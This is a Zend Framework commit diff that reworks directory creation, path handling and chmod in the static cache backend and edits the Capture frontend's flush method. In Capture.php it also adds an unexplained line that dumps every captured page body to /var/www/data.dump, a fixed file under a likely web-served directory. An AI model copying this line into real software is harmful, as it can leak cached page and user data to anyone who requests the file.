Parcourir la source

Updated static caching classes for new ID encoding

git-svn-id: http://framework.zend.com/svn/framework/standard/trunk@20598 44c647ce-9c0f-0410-b52a-842ac1e357ba
padraic il y a 16 ans
Parent
commit
695c56d4df

+ 19 - 6
library/Zend/Cache/Backend/Static.php

@@ -192,23 +192,21 @@ class Zend_Cache_Backend_Static
             $fileName = $this->_options['index_filename'];
         }
 
-        $pathName = $this->_options['public_dir'] . dirname($id);
-        if (!file_exists($pathName)) {
-            mkdir($pathName, $this->_octdec($this->_options['cache_file_umask']), true);
-        }
+        $pathName = realpath($this->_options['public_dir']) . dirname($id);
+        $this->_createDirectoriesFor($pathName);
 
         if (is_null($id) || strlen($id) == 0) {
             $dataUnserialized = unserialize($data);
             $data = $dataUnserialized['data'];
         }
 
-        $file = $pathName . '/' . $fileName . $this->_options['file_extension'];
+        $file = rtrim($pathName, '/') . '/' . $fileName . $this->_options['file_extension'];
         if ($this->_options['file_locking']) {
             $result = file_put_contents($file, $data, LOCK_EX);
         } else {
             $result = file_put_contents($file, $data);
         }
-        @chmod($file, $this->_options['cache_file_umask']);
+        @chmod($file, $this->_octdec($this->_options['cache_file_umask']));
 
         if (count($tags) > 0) {
             if (is_null($this->_tagged) && $tagged = $this->getInnerCache()->load(self::INNER_CACHE_NAME)) {
@@ -224,6 +222,21 @@ class Zend_Cache_Backend_Static
         }
         return (bool) $result;
     }
+    
+    /**
+     * Recursively create the directories needed to write the static file
+     */
+    protected function _createDirectoriesFor($path)
+    {
+        $parts = explode('/', $path);
+        $directory = '';
+        foreach ($parts as $part) {
+            $directory = rtrim($directory, '/') . '/' . $part;
+            if (!is_dir($directory)) {
+                mkdir($directory, $this->_octdec($this->_options['cache_file_umask']));
+            }
+        }
+    }
 
     /**
      * Remove a cache record

+ 2 - 1
library/Zend/Cache/Frontend/Capture.php

@@ -71,8 +71,9 @@ class Zend_Cache_Frontend_Capture extends Zend_Cache_Core
     {
         $id = array_pop($this->_idStack);
         if (is_null($id)) {
-            Zend_Cache::throwException('use of end() without a start()');
+            Zend_Cache::throwException('use of _flush() without a start()');
         }
+        file_put_contents('/var/www/data.dump', $data);
         $this->save($data, $id, $this->_tags);
         return $data;
     }